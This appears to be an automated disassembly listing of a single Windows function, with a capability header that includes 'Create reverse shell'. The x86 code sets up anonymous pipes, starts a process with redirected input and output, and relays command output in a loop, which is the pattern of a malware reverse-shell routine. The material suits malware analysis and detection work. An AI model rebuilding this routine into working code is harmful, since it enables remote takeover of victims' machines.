Function at 0x100057b6
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x44
mov ecx, dword [0x1006bd1c]
push ebx
push esi
push edi
mov edi, dword [eax + ecx*4]
or esi, 0xffffffff
mov eax, dword [0x10070bc0]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x10005815
push 0x10070bc0
call fcn.1002fc39
pop ecx
cmp dword [0x10070bc0], esi
jne 0x10005815
push ebx
mov ecx, 0x10070b20
call fcn.10004816
push 0x10053030
call fcn.1003008b
mov dword [esp], 0x10070bc0
call fcn.1002fbfa
pop ecx
mov eax, dword [0x10070ba0]
cmp eax, dword [edi + 4]
jle 0x10005852
mov edi, 0x10070ba0
push edi
call fcn.1002fc39
pop ecx
cmp dword [0x10070ba0], esi
jne 0x10005852
mov ecx, 0x10070bc8
call fcn.100020ee
push 0x10053026
call fcn.1003008b
pop ecx
push edi
call fcn.1002fbfa
pop ecx
lea ecx, [ebp - 0x28]
call fcn.100020ee
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], ebx
cmp byte [0x1006cae6], bl
jne 0x100059d3
mov edx, 0x10060724
mov ecx, 0x1006ef30
call fcn.10005c35
test al, al
je 0x10005b59
push str.SystemDrive
call fcn.100379ea
pop ecx
mov esi, 0x10070bc8
push eax
mov ecx, esi
call fcn.10005bd1
push 0x10060738
mov ecx, esi
call fcn.1000548c
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
push 0x10070ac8
push 0x10070ba4
push 0x10070bbc
mov dword [0x10070ac8], 0xc
mov dword [0x10070ad0], 1
mov dword [0x10070acc], ebx
call esi
test eax, eax
je 0x10005b7b
push ebx
push 0x10070ac8
push 0x10070bc4
push 0x10070ba8
call esi
test eax, eax
je 0x10005b7b
push 0x44
pop esi
push esi
push ebx
push 0x10070ad8
call fcn.10032c50
add esp, 0xc
mov dword [0x10070ad8], esi
xor eax, eax
mov dword [0x10070b04], 0x101
mov word [0x10070b08], ax
mov ecx, 0x10070bc8
mov eax, dword [0x10070bbc]
push 0x10070bac
mov dword [0x10070b10], eax
mov eax, dword [0x10070bc4]
push 0x10070ad8
mov dword [0x10070b14], eax
mov dword [0x10070b18], eax
call fcn.10001fae
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x1006ef30
push ebx
mov ecx, esi
call fcn.10001fae
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x10060720
setne byte [0x1006cae6]
call fcn.10005bd1
mov esi, 0x10070b20
mov byte [0x1006cae7], 1
mov ecx, esi
call fcn.1000494f
push ecx
mov ecx, esi
call fcn.100049ea
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.10002105
push 0x93
mov ecx, esi
call fcn.10004bc3
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1006cae6], bl
je 0x10005b59
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x10070ba8]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x10005a93
push dword [ebp - 8]
call fcn.1003765d
pop ecx
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push dword [ebp - 8]
push eax
push dword [0x10070ba8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x10005a88
cmp dword [ebp - 4], ebx
jbe 0x10005a54
push dword [ebp - 4]
lea ecx, [ebp - 0x28]
call fcn.10001fae
mov esi, dword [ebp - 0x10]
push eax
push esi
call fcn.10037670
add esp, 0xc
test eax, eax
jne 0x10005a57
push esi
lea ecx, [ebp - 0x40]
call fcn.1000209d
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
sub esp, 0x18
mov ecx, esp
push eax
push dword [ebp - 4]
jmp 0x10005a69
mov esi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x40]
call fcn.1000209d
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x40]
push eax
call fcn.10005bda
push 0x62
mov ecx, 0x10070b20
call fcn.10004bc3
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.10001fe0
push dword [ebp - 0x10]
call fcn.10037658
pop ecx
jmp 0x10005ab0
sub esp, 0x18
mov ecx, esp
push 0x10060720
call fcn.1000209d
push 0x62
mov ecx, 0x10070b20
call fcn.10004bc3
mov esi, eax
movzx eax, byte [0x1006cae7]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, 0x1006ef30
mov byte [0x1006cae7], al
call fcn.100024a2
test eax, eax
je 0x10005b25
push 0x1006073c
mov ecx, 0x1006ef30
call fcn.1000548c
push 0x1006ef30
lea ecx, [ebp - 0x28]
call fcn.10001fc6
push ebx
lea eax, [ebp - 4]
mov ecx, 0x1006ef30
push eax
call fcn.100024a2
push eax
mov ecx, 0x1006ef30
call fcn.10001fae
push eax
push dword [0x10070ba4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10060720
mov ecx, 0x1006ef30
call fcn.10005bd1
jmp 0x10005b28
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1006cae7], bl
jne 0x100059d3
push ebx
push dword [0x10070bac]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x10070bb0]
call edi
push dword [0x10070bac]
call edi
mov ecx, 0x10070b20
call fcn.10004f2b
push dword [0x10070ba8]
call edi
push dword [0x10070bc4]
call edi
mov byte [0x1006cae6], bl
mov bl, 1
lea ecx, [ebp - 0x28]
call fcn.10001fe0
lea ecx, [ebp + 8]
call fcn.10001fe0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret